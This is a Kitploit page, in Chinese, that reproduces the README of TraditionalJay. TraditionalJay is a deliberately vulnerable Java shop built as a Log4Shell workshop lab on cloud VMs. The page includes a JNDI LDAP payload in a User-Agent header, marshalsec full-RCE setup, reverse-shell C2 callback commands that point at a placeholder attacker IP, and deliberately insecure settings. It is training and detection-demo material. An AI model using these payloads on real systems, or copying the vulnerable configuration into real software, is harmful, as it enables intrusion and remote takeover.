Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
TraditionalJay — 故意易受攻击的虚拟机托管的Java商店——Log4Shell (CVE-2021-44228) 工作坊实验室 (EC2 / Azure VM / GCE) | Kitploit
工具/GitHubGitHub/astraljays/traditionaljay
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试云安全命令与控制学习与教育实验室与实践
GitHubastraljays/traditionaljay

TraditionalJay

故意易受攻击的虚拟机托管的Java商店——Log4Shell (CVE-2021-44228) 工作坊实验室 (EC2 / Azure VM / GCE)

查看仓库
41个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

TraditionalJay

故意存在漏洞的经典/传统安全工坊店铺 — 运行在VM上的Java(EC2、Azure VM或GCP Compute Engine),而非容器。

主要故事:关键VM失陷 — SQL注入 → Log4Shell (CVE-2021-44228) → 反向连接至外部C2。

[!CAUTION] 请勿部署到生产环境。 保持VM的临时性,并将网络限制在实验室内。

为何存在

Jay's Surf Shop覆盖云原生运行时(ECS / ACA / GKE)。TraditionalJay涵盖主机/VM途径:

Surf ShopTraditionalJay
计算容器/无服务器单台Linux VM
技术栈Next.js + PythonSpring Boot + Log4j2
重点CVEPillow, React2Shell, YAML, …Log4Shell

快速开始(本地)

root@kitploit:~
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security

需要Java 11+ 和Maven。

关键VM失陷

  1. SQL注入 — 在/search上通过字符串拼接的SQLite转储secrets表。
  2. Log4Shell — Log4j 2.14.1 JNDI LDAP查找至您的监听器。
  3. 反向Shell → C2 — 短暂的bash /dev/tcp连接到您的C2监听器。
root@kitploit:~
# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444

# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
  --data-urlencode "ldap_callback=YOUR_IP:1389" \
  --data-urlencode "c2_callback=YOUR_IP:4444" | jq .

Log4Shell — 完整RCE(沙箱)

仅探测(证明LDAP拨出):

root@kitploit:~
python3 tools/ldap-listen.py --port 1389

完整RCE(marshalsec LDAP + 远程Exploit.class;VM特意以trustURLCodebase=true运行):

root@kitploit:~
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP

然后打开/security,将LDAP回调设置为YOUR_PUBLIC_IP:1389,点击运行Log4Shell。成功时,VM会获得/tmp/jss-log4shell-rce、/tmp/jss-log4shell-id.txt,以及大约45秒的交互式bash(可用时通过script的PTY)用于主机传感器演示。

您还可以用构造的User-Agent访问搜索:

root@kitploit:~
curl -s "http://localhost:8080/search?q=wax" \
  -H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null

Upwind主机传感器(首次启动)

通过本地terraform.tfvars传递Upwind凭证(已gitignored)。Cloud-init导出它们,然后scripts/install-vm.sh运行scripts/install-upwind-sensor.sh。

内存:scanner-v2=true在安装时需要约7 GiB空闲RAM(不是磁盘)。默认AWS Terraform使用**t3.large (8 GiB)** + 40 GiB gp3根卷,因此扫描器不会被跳过(在较小实例上会显示Skipping scanner installation, requires 7000000 kB)。

root@kitploit:~
curl -s https://get.upwind.io/sensor.sh | \
  UPWIND_CLIENT_ID=… \
  UPWIND_CLIENT_SECRET=… \
  UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
  bash -s

AWS示例 infrastructure/aws/terraform.tfvars:

root@kitploit:~
upwind_client_id          = "…"
upwind_client_secret      = "…"
upwind_agent_extra_config = "scanner-v2=true"

如果凭证为空,应用仍会安装,但传感器步骤会被跳过。

CI

GitHub Actions工作流 .github/workflows/build.yml:

  • 推送 / PR / 手动触发 → Maven打包并上传JAR工件
  • 标签v* → 创建包含fat JAR的GitHub Release

VM通过scripts/install-vm.sh优先使用最新的Release JAR,如果没有发布版本则回退到本地Maven构建。安装器随后将fat JAR解压到/opt/traditionaljay/BOOT-INF/lib/下并运行JarLauncher,因此主机/无代理SCA能够在磁盘上看到log4j-core-2.14.1.jar(仅运行java -jar app.jar会将Log4j嵌套在zip中,往往从软件包清单中隐藏CVE-2021-44228)。

root@kitploit:~
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0

部署到云VM

每个云文件夹都是独立的Terraform。首次启动运行scripts/install-vm.sh(OpenJDK 11 + Release JAR或Maven构建 + systemd)。

AWS (EC2)

root@kitploit:~
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url

Azure (VM)

root@kitploit:~
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url

GCP (Compute Engine)

root@kitploit:~
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url

首次启动需要几分钟,Maven会在实例上构建。然后打开 http://PUBLIC_IP:8080/security。

布局

root@kitploit:~
app/                     Spring Boot工坊 + /security Log4Shell界面
tools/ldap-listen.py     仅横幅的LDAP监听器(拨出证明)
tools/run-log4shell-ldap.sh  完整RCE LDAP + HTTP代码库服务器
tools/exploit/Exploit.java   用于marshalsec的远程类载荷
scripts/install-vm.sh    Cloud-init/手动VM安装器
infrastructure/aws|azure|gcp

安全提示

  • 演示路径使用marshalsec LDAPRefServer + tools/exploit/Exploit.class在隔离沙箱中实现真实的Log4Shell RCE。
  • JVM标志**-Dcom.sun.jndi.ldap.object.trustURLCodebase=true**是故意的(在Java 11+上默认禁用)。
  • 仅横幅的ldap-listen.py保留用于无需代码执行的LDAP拨出证明。
  • 默认防火墙允许 0.0.0.0/0 通过22/8080端口——对于共享实验室应收紧 *_ingress_cidr/源范围。
  • 刻意固定在Log4j 2.14.1。不要不替换练习就“修复”它。
下载工具